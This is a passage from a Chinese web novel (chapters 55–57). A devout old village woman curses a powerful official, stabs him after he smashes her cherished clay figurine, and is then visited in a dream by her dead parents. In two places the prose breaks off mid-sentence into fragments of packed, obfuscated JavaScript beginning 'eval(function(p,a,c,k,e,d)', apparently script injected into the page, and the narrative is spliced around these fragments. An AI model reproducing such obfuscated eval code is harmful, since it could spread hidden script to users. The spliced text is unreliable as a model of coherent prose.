“人们都说,你是个十足的疯子!跟死人成亲,在现任丈夫的房子里,供奉前夫。打着信仰的名义,夜夜跟鬼私通。就因为这个,你丈夫总是打骂你。” “说实话,我根本不在乎,你为了生计嫁人几次,但你心里不能有人,你明白吗?我这辈子,他妈最想弄死的人就是他!可惜他死的太早了,我都没机会弄!” 55. 刚刚她骂他的时候 一个绝望而痴愚的山野村妇,另一个不过是一滩烂泥。 就这样堂而皇之地出现在他的会客厅。 是他太纵了她。 宋礼遇话语间,满是对花祝年和小泥人儿的鄙夷。 当然,还有发疯的嫉妒。 他不明白,自己怎么会比不过一个小泥人儿? 这三十年,她不肯来找他,居然一直都把小泥人儿带在身边。 她该不会以为,在这个乱世,一个破泥人儿,真的能救她吧? 真是荒唐!太荒唐了! 不能怪宋礼遇发火,贺平安也因为小泥人儿发了三十年的火。 其实,就连衡羿刚下来的时候,也是为小泥人儿发过火的。 她只喜欢前世的他,让他嫉妒得发狂。 花祝年活了五十年,倒也不是没听别人对自己发过火。 不过,她是个很拿自己当回事儿的人。 听出别人对自己和薛尘的鄙夷后,她就忍不住要反驳。 她看着气得满脸涨红的宋礼遇,指腹无意识地轻捏着包裹着泥像的红布,沉静地对他问道:“宋大人,你掰过苞米吗?” 宋礼遇气归气,可他毕竟是爱的。 只是生气,又不是不爱了。 此刻听到她问自己苞米的事,再一想到她刚刚吐过,就以为她是饿了。 他弯下腰关切地对她问道:“你想吃苞米吗?我现在就让人去煮。” 平心而论,他对她算是很好的。如果不是她那样固执的话,两个人应该是能好好生活的。 可偏偏她比谁都固执。 宋礼遇的真心,再一次被狠狠践踏。 “我在家里的时候,丑时一到,就去掰苞米。村子里的很多人,都是这样。” 宋礼遇滔天的怒火,瞬间熄灭。 他其实,一直都很心疼她。 “丑时,那是大半夜啊。” “就是在夜里才好掰,田地里凉风阵阵,一点儿也不热。白天掰的话,日头太毒了。大半夜能掰三亩地呢!而且,苞米不好放,多放一天,就变得不那么甜。夜里摘好,清晨商贩收了去卖,苞米叶上都带着露珠,次次都能卖个好价钱。” 宋礼遇误会了花祝年的意思,他以为她是想吃新鲜的苞米。 “我这就让人给你掰新鲜的去。” 说着就要出去吩咐人。 花祝年在后面喊住他:“我不想吃苞米,也没有那么饿。” 宋礼遇又像只急躁的狗子一样,冲回到她面前:“那你跟我说苞米干嘛?” “宋大人,你是百官之首,百官的首级都在你的一念之间。在你看来,你当然有瞧不起我一个山野村妇的权力。可在我看来,你砍官员,跟我掰苞米,也没什么不同。况且,你砍的官员,也未必有我掰的苞米多。” 宋礼遇讶然道:“这,这怎么能一样呢?” 花祝年低头冷笑:“怎么不一样?官员吸百姓的血,苞米吸土壤的养分,官员跟苞米一样没什么思想,唯一的价值,就是斩了之后,成为另一个人的政绩。你们在朝堂上糊弄来糊弄去,你方唱罢我登场,甜头也不会给百姓半分。我掰个苞米,至少几天的家用就出来了。不干人事儿的官员,用处还没我家的苞米大。” 花祝年的话很砸人。 我是靠自己的双手活着的,不是靠你们这些吸百姓血的官员活的。 你没资格瞧不起我。 庄稼人不瞧不起你们这些,受人供养的狗官就是好的。 宋礼遇的脸色变了又变。 他在她身旁坐下来,耐着性子说道:“花小姐,我没有瞧不起你,刚刚发火是我失态了。我只是,不想看见这个小泥人儿。” 话是这么说,但他刚刚,确乎是有瞧不起她的。 倘若今日将小泥人儿拿出来的,是王公贵族,宋礼遇势必要吹捧一番。 就算是一滩烂泥,也会吹捧到天上去,而不是发火。 花祝年理直气壮道:“明明是你跟我诉苦,说自己这三十年来在朝中的不易,无力改变现状的窘困,我才给你拜将军的,你怎么还不领情呢?” 当一个人的精神世界足够强大的时候,她说什么都是有所依循的。 花祝年是薛尘最为狂热的小信徒,无时无刻不在跟人宣传他,甚至是为他正名。 但宋礼遇想要的,从始至终都不是这个! 他已经是一人之下万人之上了,哪用得着拜什么小泥人儿? 跟花祝年说自己的不易,实际上,是为了洗白,让她不要那样排斥自己。 方才,宋礼遇原话是这么说的。 “这三十年,我也几经浮沉。想过改变,但终究毫无办法。我也不喜欢那些手段,可是又能怎么办呢?” 花祝年知道宋礼遇一向虚伪,可是见他所说的话,又觉得似乎有几分真心。 她认真地劝他道:“如今,你已经是百官之首了,说是权力的顶端也不为过。如果从你这里开始变法,还是能有所改变的。” 宋礼遇本来也只是随便说说,他从来就没想真正地改变过什么。 哪知道她竟然当真了,一时语塞。 但让他更没想到的是,她居然把小泥人儿取了出来。 从包袱里取出来的时候,一柄扇子掉落,宋礼遇弯腰从地上捡起。 打开一看,扇子上,画了两条锦鲤。 一条红色,一条金色。跟他之前拿的苏绣手帕上面,所绣的图案是一样的。 他理所当然地误会了她对他有情。礼遇,鲤鱼……她果然一直念着他。 宋礼遇刚刚就在自己爱意最浓的时候,眼睁睁地看着花祝年,把他捡起的扇子放进包袱里,然后从里面拿出来了一个小泥人儿。 大有一种从云端陡然坠落的失重之感。 他当然会暴跳如雷,大发脾气。 “你若是不相信的话,不如你拜拜我的将军?他有求必应,每次都很灵。只要内心坚定,就没有做不到的事。” 花祝年是认真在宣传的。 她一视同仁,不分场合地给人传…… 管你是跟她一样的山野村妇,还是位高权重的达官贵人,她都有十足地底气,让你了解一下她的将军。 顺便劝你也信。 心诚则灵。 她觉得,只要宋礼遇愿意就此改变,那这世道就一定能改。 当然,拜拜她的将军就更好了。 薛尘是很好很好的人,定会保佑他变法成功的。 但她忽略了,宋礼遇不过是在假意哄她,甚至带了点纡尊降贵。 宋礼遇看不起她的一切。 看不起她此时的身份,看不起她所坚守的东西,看不起她自甘堕落…… 最看不起的,就是她疯疯癫癫地,到处带着个小泥人儿跟人宣传。 他再次翻脸道:“我为什么要拜他?我为什么要靠他保佑我?况且,我为什么要变法改革?这个混沌的世道对我来说,很好,大好特好!你混不好,是你没本事。更重要的,是你没有眼光!当初,你要是跟我走,哪里会变成现在这副样子?” 花祝年拍着桌子一怒而起:“我这样怎么了?我吃的每一粒米,都干干净净。我没有吃别人的血泪,我吃的是自己的血泪。从来没有对不起人过,至少晚上睡得安稳。” 她只会因为自己受苦,觉得辜负了爹娘的期望。 但从来没有觉得现在这样,有什么不好。 因为,这是她在当时的处境下,所能选择的唯一出路了。 况且,她就算是当山野村妇,也有在好好照拂着身边的人。 不让大家轻易掉一颗眼泪。 她踩的是日月朗照的地,头顶的是浩气长存的天。 不像他们这些摆威弄权的官员,踩的是下级的头,顶的是贵人的跨。 花祝年只是觉得农妇的身份,所照拂到的人太少。 但从来没有因为农妇自卑过。 她反而觉得自己很骄傲,在家的时候,她从来没种过地,没收过麦子。 也算是,学会了简单地生活技能。人来这个世间,本就是要体验的。她体验到了之前从未有过的生活。 宋礼遇不知道该说什么,只能反复维护自己的正确性:“就是因为如此,你过得才这么惨!没人帮你,你才天天抱着个破泥人儿当救赎,当宝贝。三十年的时间,我在上天,你在下地。” “一个破泥人儿有什么好在乎的?他连自己都保不住,更不可能保护你。你从来都不知道从自己身上找原因,永远是那么偏执。但凡你当初不那么讨厌我,现在一品诰命夫人就是你。你也不用在山野间待三十年!” 宋礼遇痛恨花祝年的痴愚,也为她感到惋惜。 可他终究是爱她的。 怎么可能不爱呢?年少时没有得到的人,到老心里都会惦记着。 况且,他知道她当日并非是讨厌自己,而是看不上他家里的做派。 他们之间的姻缘,完完全全是被家里人耽误的! 明明是他爹做下的错事,跟他有什么关系? 她怎么就不能分开来看?讨厌他,讨厌到,连见一面都不肯? “我为什么不能讨厌你?那个镇子上,我最讨厌的人就是你们家里人。看见我爹在那里点头哈腰地献金,看见你爹手底下的人到处打着法令的名义作恶,我恨不得你们这些人死!” 她果然,还是这样地厌恶他。三十年过去了,居然一点都没变过。 宋礼遇像是为自己辩诉一样,心痛难忍地说道:“当时又不单单我一家这么做。自上而下,皆是如此!这是世道的问题,你怎么能把所有的仇恨,都放在我家人的身上呢?谁不是为了活着?你不喜欢你爹在我爹面前点头哈腰,难道我爹在那些皇亲国戚面前,就能腰杆儿挺直了吗?大家不都这样活着吗?就不能相互理解吗?当初嫁给我有什么不好?嫁给我,你爹不就不用点头哈腰了吗?” 花祝年气得胸腔都在颤动,她扶着桌子同他对峙:“我理解你祖宗十八代!我嫁你老祖宗,当你老祖奶奶!非逼我骂街!你愿意让你爹当狗,我不愿意!虽然我没办法改变,但我不像你,我从没觉得这样做对。我也不是独独针对你们家,我是说,所有欺凌百姓,不让人安稳过日子的狗官,都该死!” “不知道你天天在那深宅大院里,到底出去看过没有?夏天容易走水,上边下令,每间铺子备上存水的缸,一个缸不过几文钱,为了百姓的安全,本来是好意,可你们下边儿他妈的怎么执行的?啊?你敢说吗?让商铺里的生意人,去买你爹指定的花纹儿水缸,一个水缸五十两银子,小生意人赚一个月,都他妈逼的赚不回来!利用上头的生产条文,为你自家捞钱,你们家可是捞几把够了!” “我爹为什么在你爹面前点头哈腰,你心里就真他妈的没点儿逼数?他总要为那些小生意人寻出路,好谈歹谈,才把水缸的价格降到三十两,就这还是我家今后水路上的生意,得让你家分一杯羹,才勉强给那些小生意人求换来的恩典。” “还有,你爹手底下的人,天天在大街上溜达,就看哪家店铺干不下去,哪家店铺新开张。你知道那是在做什么吗?旧店铺开不下去,要摘牌子,新店铺开张,要换新牌子。摘牌子得交摘牌费,人家都生存不下去,准备回家种地了,哪有那个闲钱,给你家交摘牌费?新换的牌子,要交上牌费,人家刚做生意,哪有钱呢?你们搜刮民脂民膏的时候,有没有考虑过百姓怎么活?这都是你爹弄出来的黑令!” “若是不交,就百般找茬儿。什么牌子上的字儿不协调,牌子的位置要么太高要么太低,影响街上的市容,影响你爹个烂几把,影响你妈个老逼!我再说一次,我不是针对你爹妈,我是说,所有跟你家有关系的人,都是有点儿权力,就不知道自己姓什么的杂交种!你们家里的每一个人,仗势欺人都不是一天两天了!天天你们一家人吃得肥头大耳的,养出来一群草菅百姓的猪狗。” “还有仗着你爹声势的闲散官差,每当他们逢年过节,去让小生意人上供的时候,我都恨不得把他们的头砍下来,高挂在铺子门口,挂到风干,以儆效尤!看这些人还敢不敢再进门要私供!” “凭什么只能你们,动不动就用砍头来吓唬老百姓,老百姓为了生存就不能反制?小商贩们又不是不交税,交完税,本来就没剩几个钱,还要再给你们上私人供奉。他妈的,活在这个逼世道真是屈辱至极!你们这群老狗逼日出来的烂玩意儿,能不能去粪坑里淹死啊?也让这天下人痛快痛快!” 花祝年好一通痛骂,骂得自己胸都不闷了。 本来她一进这会客厅,就觉得一阵胸闷气短,怎么待怎么不舒服。 抬头一看,原来是房顶故意弄低了。 她之前在花家的时候,听过爹趴在娘怀里嗷嗷哭。 每次只要从宋县令家里回来,都委屈得嗷嗷哭,爹当时都是她这般年纪了。 说是觉得压抑,头上的房顶子,能把人给压 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那种来自最底层最生猛的愤怒,他知道,自己根本承受不住。 可,可是,他还是爱她。 特别是,看见她一点儿都没变,他觉得自己要爱死了。 他终于知道,她不仅仅是讨厌他,厌恶他,还恨不得他死。 还骂他是老狗日的…… 真难听,但他也是真喜欢。 这臭老娘们儿也太猛了。 在山野间待了三十年,都没磨平内心的不甘。 妥妥地一个反贼! 爱上反贼,是权臣的宿命。 宋礼遇理不直气不壮地走到她面前,拦住她的去处。 他沉声对她恐吓道:“你知不知道,就凭你刚刚的那些话,我就能在你出门后,定你的死罪。我让你比薛尘死得还惨!除非,你——” 他后面的话还没说出来,脸上就猛地挨了一巴掌。 花祝年个子小小的,还是跳起来打的。 宋礼遇这一生,除了被爹打过,就没再挨过打了。 这回花祝年不白来啊,真是不白来。 可算是满足他挨打的心愿了。 经年的爱,遇上经年的恨。 总有一个要低头。 哪怕他们势同水火,总有一方,冒着堙灭的风险,竭尽全力地想再靠近一点。 在朝中呼风唤雨的老年权臣,头一次被年少挚爱逼得红了眼睛。 他癫笑着低头凑过去,死不要脸地说道:“来来来,你再打几下,让我也好好感受感受你的痛快!” 她可以骂他贪,骂他狠,骂他迂腐,骂他势力,但他捧给她的爱是真的,被她弃如敝履也是真的。 他的心被她的话,刀得血肉模糊。 偏偏,他理解她的愤怒,因为当初他爹那些人,就是那么做的。 他爹所犯下的罪孽,百姓求助无门的苦难,全被她活生生地看在眼里,她应该也同那些人一起挣扎过。 花祝年终究是不一样的。 当时的人都以嫁给他为荣宠,甚至觉得攀上了他爹,就能跟着他爹一起为非作歹了。 只有她,认真地想过,那么做,是不是不对的。 他看到了她的独特和桀骜。 从此,就记在了心里。 如果是大街上,听到随便一个泼妇骂大街,那他可能会微皱着眉头远离。 可那个人,如果是花祝年,他就会张开怀抱,对她说,快来我怀里。 宋礼遇低了很久的头,都没再等来花祝年的第二巴掌。 她对他,又恶心,又害怕。特别是,他凑过来的时候,就像一只碗口粗的尖头毒蛇,压在她身上一样。 她现在只想离开这里。 “让开。” “走什么?你不是心里不痛快吗?给你机会痛快,你还不要?” 推搡之间,花祝年的小泥人儿差点掉落。她连忙当宝贝似地抱住。 宋礼遇一直都很小心眼儿,刚才就是为小泥人儿跟她吵起来的。 现在看到这个,更觉得气了! 他一把抢夺过她的小泥人儿:“你带着他有什么用?他都死了三十年了!除了给你满脸沧桑和白发,他还能给你什么?只要我在一天,像他这样的人,就永无出头之日。他们永远是工具,用了就扔的工具!” 花祝年见薛尘在他手里,一时慌了神,踮起脚要夺过来。 宋礼遇见她这样在乎这个破泥人儿,一气之下,给她摔了个粉碎。 花祝年感觉浑身的力气都被抽走了一样。 她已经是油尽灯枯了,可以说最后一口气,就是靠小泥人儿吊着的。 宋礼遇刚想得意地说些什么,心口处就一阵剧痛。 他低头一看,那柄画着锦鲤的扇子,不知道什么时候,戳进了他的心口。 进来时,是检查过有没有带兵器的,毕竟他惜命。 可他没想到,她改造了那柄扇子。 那扇子上,画着两条鲤鱼。 他还以为,她是爱慕他,在向他示好。 原来这扇子,是用来杀他的。 痛快啊,他多少年没这么痛快过了。 宋礼遇猛地往前凑了凑,让她扎得更深了一些,他狞笑着看着她:“你想这一天很久了吧。没杀成我爹,杀我也好啊!” 此刻的花祝年已经摇摇欲坠了,再加上他猛地往前顶了一下,她连扇柄都快拿不住了。 下一秒,直接晕倒在地上。 56. 你想认谁当夫君 小泥人儿是不能摔碎的。 一碎,花祝年就醒不过来,处于濒死的状态。 不是因为年老的缘故,而是在她刚嫁给贺平安的时候,就已经是这样的情况了。 她又做梦了。 这次,是真的有人给她托梦。 是她的爹娘。 他们哪怕去世了这么多年,可仍旧没有投胎。 因为累世积累的功德,这两口子生于盛世之中,死于乱世之初。 算是没受过多少苦的。 而之后的几十年,也是大乱世。福德深厚之人不生乱世,除非是去救世的。 可他们身上,又没有救世的任务在,就一直在地府里待着。 花老爷找了个记账的活儿,每天就是记功德,扣功德。 分毫不能有所偏差。 有人功德扣完了,就该死了,有人功德记够了,就该成仙了。 虽说他目前是地府的小官儿,不能有所偏私。 前世事,已经不应再理。可他有时候,也忍不住翻看女儿的命簿子。 一直在扣功德,连她喝口水都扣…… 为此,花夫人还去问过地府里管事儿的。 看看到底是怎么回事?是不是弄错了?绝世大恶人也没这么扣功德的啊! 结果人家说,像这种降世就有任务在身的人,一旦人生轨迹跟天命所背离,肯定是比寻常人扣得要多的。 就算你什么都没做,也是照样哐哐扣。 上天安排的最大,没完成上天的任务,只顾着过自己的小日子,那肯定是不行的。 所以才会连她喘气都扣…… 真是痛苦啊。 花夫人也在地府里有所任职,她是去接婴灵的。 也就是接一些,没能生下来的小婴儿,抱着它们来地府。 花祝年流掉的第一个孩子,就是她夜里含泪去接的。 按理说,不应该再惦念前尘往事。 可她毕竟养了她二十年,怎么可能不惦念呢? 每次想女儿了,花夫人就骂花老爷。 不过,她也骂不了别人,别人也不给她骂,谁像花老爷这么纵着她? 花老爷每次一被骂就嗷嗷哭,边哭边拿着笔给世人增减功德。 一边哭一边干活儿,用工作来逃避打骂。 地府里的同事都说,花夫人比那鬼差还厉害,不让花老爷偷一点懒。 看见女儿受委屈,就打骂丈夫的习惯,花夫人从阳间一直带到了阴间。 可毕竟阴阳两隔,他们是没办法再给女儿些什么的。 就连托梦,也是有限额的。 这次终于能两个人一起了。 托梦有个不成文的规定,不能说阴间的事,只能讲前世未了之事。 花老爷和花夫人坐在花祝年的床头,无限爱怜地看着自己的孩子。 花老爷靠在花夫人肩上,小声地说道:“我家姑娘,连皱纹都长得这么好看。” 花夫人自豪道:“那是,你不说是谁生的!” 花祝年经常因为自己没能达到爹娘的期望而愧疚,但在花夫人和花老爷心里,只要她过得开心快乐就好。 他们甚至一度很佩服自己的女儿。 因为这老两口,都是向世道屈服了一辈子的。 虽然赚了不少钱,可是想起在世时那些憋屈事,就觉得心里久久不能平静。 他们永远不会怪女儿不肯妥协,哪怕他们确实希望她能过得好一些。 但,她若是实在不肯,他们也不会逼她。 那宋礼遇的确是个厉害人物,但也的确不是个好东西。 花老爷当初的确想过攀附,后来被花夫人骂了一通,骂改了。 他也渐渐地意识到,有些事,自己能忍,女儿就也能忍受。 可实际上,人生阅历不一样,承受程度也是有所不同的。 花老爷做生意的路上,见了很多人,坦白讲,宋县令还是他所遇到的人里比较好的。 宋县令只是想分一杯羹,但人家也不是不办事儿。 有些贵人是想夺你家产,随便定个罪,就把你弄进去了,连反手的余地都没有。 所以,在那般的世道下,也不能怪宋礼遇觉得委屈。 他认为花祝年只是没有遇到更坏的,所以才觉得他爹是个绝世大坏蛋。 等她接触到更远的人,那才是真正黑不见底。 他始终认为,从上到下一脉相承,她不应该对一个相对来说,还算比较好的官宦之家,如此嫉恶如仇。 宋礼遇知道自己的爹,有时候,也是给别人办事的。 不听话,就没命,不办事,就被拉下马。官场上的事,怎么能单单以好坏来论呢? 花祝年还是太浅薄了,不过没关系,他宽恕她。 宋礼遇一直觉得花祝年对自己有所偏见。 可他对她,又何尝没有呢? 内心截然相反的观念,才是两个人无法在一起的根源。 这实在是没有办法的事。 再怎么爱,他们之间从来没有过尊重,始终是针锋相对的鄙夷。 她鄙夷他家倚权欺人,他鄙夷她有福不享。 谁也不肯退让一步。 如果宋礼遇是寻常清白人家的男子,那或许花祝年会多看两眼。 毕竟,他少时的模样,是连衡羿都承认的清秀。 可偏偏他出身官宦之家,那她是一眼也不会看的。 花老爷生前并不知道,她是这样地看不上宋家。 以至于死后,花夫人天天打骂他,说他一天天地,就知道哭哭哭,哭得女儿不想嫁人。 花夫人觉得是花老爷受了委屈,还喊出来,才导致女儿对宋家的成见那么大。 可实际上,花祝年平日里也是见识过,宋礼遇一家欺负人的。 不单单是听见花老爷趴花夫人怀里嗷嗷哭。 但不管怎么说,花老爷内心终究是愧疚的,花夫人也觉得愧疚。 他们觉得自己只教给她如何做一个人,却没教给她如何好好活下去。 一边感叹于她的倔强和固执,一边又心疼她为此所付出的代价。 没有爹妈是不疼孩子的,如果可以的话,他们甚至想永远将她护于羽翼之下。 哪怕一辈子不嫁人,就跟个小泥人儿过日子,也没什么。 花家养得起她,也护得住她。 可偏偏赶上了乱世,家道中落后,他们夫妻二人又双双离世。 孤女在乱世漂泊,多半是没什么好下场的。 唉。 花夫人和花老爷,是知道花祝年喜欢小泥人儿的。 可能世人都觉得她疯了,但他们不这样认为。 女儿精神有个寄托也好啊。 喜欢谁都好,他们是不介意的。 只要她喜欢的那个人,正直又善良,管他是人还是鬼,是金身还是泥身。 他们已经没办法再陪着她了,让小泥人儿陪着她,哄她开心也好啊。 贺平安虽然是他们名义上的女婿,可老两口从来没承认过。 他们也更喜欢小泥人儿。喜欢薛尘,但不喜欢衡羿。 花祝年睁开眼睛,看见自己爹娘守在床边。 她已经,很久,很久没有梦到他们了。 身子感觉轻飘飘的,一晃就起来了,自己不是快要死了吧…… “爹,娘,我是不是要死了?你们来接我了么?” 花夫人连忙将她抱进怀里:“没有,就是想你了,来看看你。” 花祝年依偎在娘的怀里,同她说笑道:“娘,我现在,看起来,比你还要老了。” “老了也好看,我姑娘是最好看的。刚刚,你爹跟我还说,连每一丝皱纹都长得那么好看。这是谁家的姑娘啊,怎么那么会长呢?” 花祝年埋头在花夫人的怀里,哭笑不得。 花老爷在身后,一副欲言又止的样子。他们托梦的时间不能太长,不然对女儿的身体有影响。 女儿身体已经很差了,他们把该说的说完,就得快点儿走了。 花老爷只能不断地扯花夫人的袖子,暗示她,让他也说两句。 好不容易来看女儿一次,不能她一个劲儿地说。 花夫人给了他一胳膊肘子,给他杵老实了。 花老爷一边委屈,一边在花夫人的后面,探出个头小声说道:“女儿啊,爹这回来,是想跟你说个事儿。” 花祝年抹了把眼泪,从娘的怀里起身:“什么事啊?” 她以为爹会说,让她不要再碰小泥人儿的事。 正心惊胆战的时候,突然听爹说道:“女儿啊,那小泥人儿很好,爹挺喜欢的。你别管别人怎么说,你想认谁当夫君,就认谁当夫君。” 花祝年看了娘亲一眼,花夫人摸摸她的头:“你爹是真喜欢。他在下边儿,到处说那是他女婿。那个贺平安,他不认的。” 花祝年一时觉得贺平安有些可怜。 她一直觉得村子里的人,暗暗嘲笑贺平安,是因为他们不懂她对小泥人儿的感情,跟男女情爱没有关系。 但没想到,连爹娘也觉得,她在婚后还是心属薛尘。 “贺平安,也很好。我们……” 她本来还想再为贺平安辩解些什么,可是一想到过日子的事,很难说得那么清楚。 所以,就咽下了要说的话。 花老爷继续说道:“嗐,别管他好不好的吧,我跟你娘这是不在你身边,若是在你身边,让你跟宋礼遇一样,招他几十个俊美的男子来入赘,也不是难事。你想喜欢几个,就喜欢几个。” 这老两口一向开明,不然也不会在生前,始终支持女儿的选择。 她不想成亲,他们就好好地在家里养着。 可有朝一日,若是她同时喜欢上了很多人,那也不用有心理负担。 他们一直是很宠很宠她的,也希望她享受男色,被男人伺候。 不怎么正经的老两口,把自家女儿给说得脸红了。 花祝年好长时间都低着头,不知道在想些什么。 花夫人轻捧起她的脸:“女儿啊,让自己过得轻松一点吧。” 花祝年看着娘温柔的眼睛:“我现在,也很轻松。我,我很好。” 花老爷忍不住说道:“我跟你娘,是希望你好好过自己的日子,别背负我们的不易和委屈。那对我们而言,都是前世的事情了,你是可以忘记的。” “况且,各人有各人的缘法,做生意就是要跟各种各样的人打交道,官吃商,官吃民……自古以来,皆是如此。镇子上的那些小生意人,他们现在都不一定活着了,也有开几天铺子,就关门了的。你不用把他们的辛酸,记在心里。就连他们自己,都未必记住呢。” “人若是总记着所受过的苦,是没办法好好活下去的。大家都是一边受,一边忘,永远不要回头想。” 花祝年坚毅的目光中,露出浓重的悲悯之色:“就是因为没人记住,我才要替人记住。因为他们处于弱势,又开门做着生意,总是被人看作有点小钱,所以就理应被官差索要供奉吗?当差的跟匪徒有什么区别?宋礼遇他爹做的就是不对,他就是在欺负人,我为什么不能记住?” “你不是也经常回家跟娘哭吗?在别人手底下乞讨食物的滋味好受吗?乞讨半天,只是为了他爹不从中作梗,可本来,生意上的事,他爹就不该参与,不是吗?” 花老爷叹气道:“话是这么说,但人家就是天,是镇子上所有人的天。我们到哪一步,说哪一步,好吗?这并不是很好的世道,没有良好的规则去制约,只能想办法在当时的环境下生存。大家都是这么过来的,就连那些小生意人,也不觉得有什么不好,这是我们都已经习惯的事。” “年年,爹娘希望你活得轻松快乐,而不是背负着别人的因果生活。我们受再多的苦,那是我们的事,和你没有关系。” 他们很心疼自己的女儿,根本不想让她记太多过去的事。 执念除了给人徒增烦恼,几乎是没什么用处的。 有时候,忘记,真是一个很重要的能力。 花夫人知道花祝年的心结在哪里,她劝她道:“你别觉得你爹哭唧唧的,就觉得他好像如何受委屈了一样。他本身就是个爱哭的人,跟旁人没什么关系的。” 说完又给了花老爷一肘子,花老爷在后面连连称是。 “姑娘啊,爹从小就爱哭,做生意后,赚钱也哭,不赚钱也哭。跟你娘成亲当天,我也是哭得嗷嗷的。因为我是被她强迫成亲的,当时我根本不喜欢她,谁都知道她家在江南,有暴打自家男人的传统。我哪儿愿意天天挨打?可没办法,她看上我了,非要跟我成亲。我还逃过婚呢。后来被抓了回来,成亲那天晚上,她揍了我一宿!” 花夫人回头就是一巴掌:“你跟孩子说这干嘛?你爱哭就爱哭,关我打你什么事儿?我不打你,你就不爱哭了?让你跟孩子解释,跟宋县令 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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花老爷无奈地为宋县令辩解道:“你看,你娘天天把我打哭,也不能说你娘是个坏人不是?宋县令有他自己的处世方式,他、他人真不能算坏的。而且,也不能全怪他。其实,宋礼遇说得没错,这才哪儿到哪儿啊。他们家,算好的了。” 其实,宋县令好与不好,已经不重要了。 他主要是不想女儿背负着这些仇怨,再同宋礼遇相处下去。 没必要的事。 为了他们这些故去的人,哪里值得呢? 花祝年冷冷一笑:“所以,那个王朝才会完。” 花夫人轻摸着她的白发道:“是啊,那都是前前前前……朝的事情了。你就不要记在心里了,也别替我们委屈什么,更别替当时的百姓难过。已经,没什么人计较了。” 花祝年看着娘亲和蔼的面容:“你们来看我,就是为了跟我说这些吗?” 花老爷点了点头:“之前只知道你不喜欢宋礼遇,不知道你心里这么恨他。爹娘想你过点好日子,别为了我们,委屈了自己。” 花祝年不禁苦笑道:“你们在下面,还是这么担心我啊?看来我真是一个,不让人省心的女儿。” 花夫人心疼道:“你要是会照顾自己,我们也不会这么放心不下。年年,别为别人活,要为自己活呀。” 他们老两口一直觉得,是自己害了女儿。 当初,要是不教她那么多明理的东西就好了。 人不明不白地活,也不是活不下去,干嘛一切都要想那么清楚呢? 花祝年拿下娘亲的手,小心地捂在手中:“娘,你的手,好凉啊。” 花夫人笑了笑:“毕竟,不是人了嘛。你娘我在下边,也是个厉害人物呢。” 花老爷碰了碰她:“不让说下边的事儿,你怎么老记不住?” 花祝年用力地攥了攥娘的手:“你们好好在下面过你们的吧。以后,不用来看我了。也,也别担心我,别心疼我。我不想,你们在下边还为我这么操心。” 花老爷又忍不住哭了。 “你这话说的,爹娘就你一个孩子,不担心你担心谁?人活着,不就活个念想吗?我们老两口在下边也没什么事儿干。” 阴阳两隔的人,在劝彼此,不要惦念自己。 可是,每一句劝告,都是惦念。 他们都希望对方迎接新的生活,可实际上,没有人能真正放得下些什么。 花祝年叹了口气:“我不是因为你们,才讨厌宋礼遇一家的。” “爹知道,所以爹劝你,不仅别在意爹娘,也别太在意当时跟我们在同一处境的人。那些都尘归尘,土归土了。没什么用的。活下来的人,好好活着,才是正理啊。爹娘不想你累,不想你哭,不想你跟这个世道过不去。” 花祝年执拗道:“可是,就算什么都不为,单单为我自己,我也不喜欢宋礼遇,就是不喜欢宋礼遇!我不喜欢所有像宋礼遇一样的人。这个世道就是让他们这些人败坏的。你们知不知道,我捅了他一刀?不知道他死了没有,若是没死,那真是便宜他了。” 守在一旁的宋礼遇,躺了五天才醒,刚醒就被人扶着过来,关心花祝年醒了没有。 没想到听见了她的这番梦话……她怎么就这么恨他? 气得他捂着渗血的心口大骂:“反贼!你倒是醒过来,再捅老夫一刀啊!老夫敞开了心窝子让你捅,捅得死才算你好本事!” 衡羿在一旁悠悠地说道:“别白费力气激她了,我说过,你不给她捏好小泥人儿,她是不会醒过来的。” 当初他刚下来就吃过这个亏,结果被贺平安手把手教着捏小泥人儿。 非要捏好了,她才醒。 所有不信这个邪的人,都会遭到小泥人儿的制裁。 以至于,他都怀疑,小泥人儿里是不是真的有什么邪祟存在。 怎么会跟她的生命联系得那样紧密? 可他不只一次地偷偷检查过那个小泥人儿。 并没有什么异常。 就是很普通的粘土制作的。 每个害她昏迷不醒的男人,最后都得捏好小泥人儿来哄她。 不得不承认她信仰的存在。 就连他这个真神也不例外,薛尘甚至还是他的前世。 他连否定自己的前世,否定她对自己的执着,都不行。 但凡想亲自破除她痴愚的人,摔一回小泥人儿就老实了。 能有什么办法呢? 任你是天天狠着劲发大疯的人,还是已经历劫归位的神,都得把亲手摔碎的东西,再亲手给她捏起来。 别看宋礼遇现在不信邪,他看他这绝望心碎的样子,也快了。 很快就会求他,教他捏小泥人儿了。 57. 他要是都不怪你 小信徒痴愚归痴愚,但是他们这几个男人,硬生生地摔碎人家所珍爱的东西,实在是非常非常不尊重人的行为。 无论是出于怎样的心理,都不应该那样强势地对待,一个可怜而无所寄托的女人。 衡羿也是在看见小信徒的爹娘,对待小泥人儿的态度后,才意识到自己之前错得有多离谱。 不能打着为别人好的名义,去伤对方的心。 况且,他们这几个人,摔她小泥人的目的,并不纯粹。 说起来是为了她好,实际上,更多的是嫉妒。 怎么会不嫉妒呢? 一个陪了她三十年,都没能被她这样珍惜,一个看了她三十年,还是小泥人儿的原身,一个等了她三十年,也换不来她一点目光。 见过小泥人儿的每一个人,都快嫉妒疯了。 其他两个是凡人,嫉妒好像也正常。 衡羿自知不应该出现这样的情绪,可是他没有办法。 他一边感念于她对小泥人儿的供奉,一边又为自己已经不再是薛尘而生气。 花老爷看到宋礼遇在女儿床前发疯,血呼呼地往外冒。 他无奈地说道:“可、可不管他对我们如何,对你总是好的。你们这小一辈,不要背负老一辈的因果。若是能好好相处,就该好好相处才是啊。” 花老爷其实相对于把女儿交给衡羿,他还是更放心宋礼遇。 衡羿作为神明,是没有什么人味儿的。不然,也不会无动于衷了三十年,等到女儿快死的时候才下来。 老两口都不喜欢衡羿。 哪怕他现在的位置,已经很高很高了。 他们是生意人,还是更喜欢能给自己带来实惠的人。 不是他们目光短浅,而是,他们知道,那个冷情冷性的衡羿,只会温和地看着女儿死,然后说一句这是她的命数。 至于其他的,实在是指不上他。 宋礼遇虽说算不上什么好人,但是只要他对女儿好,那就是让人放心的。 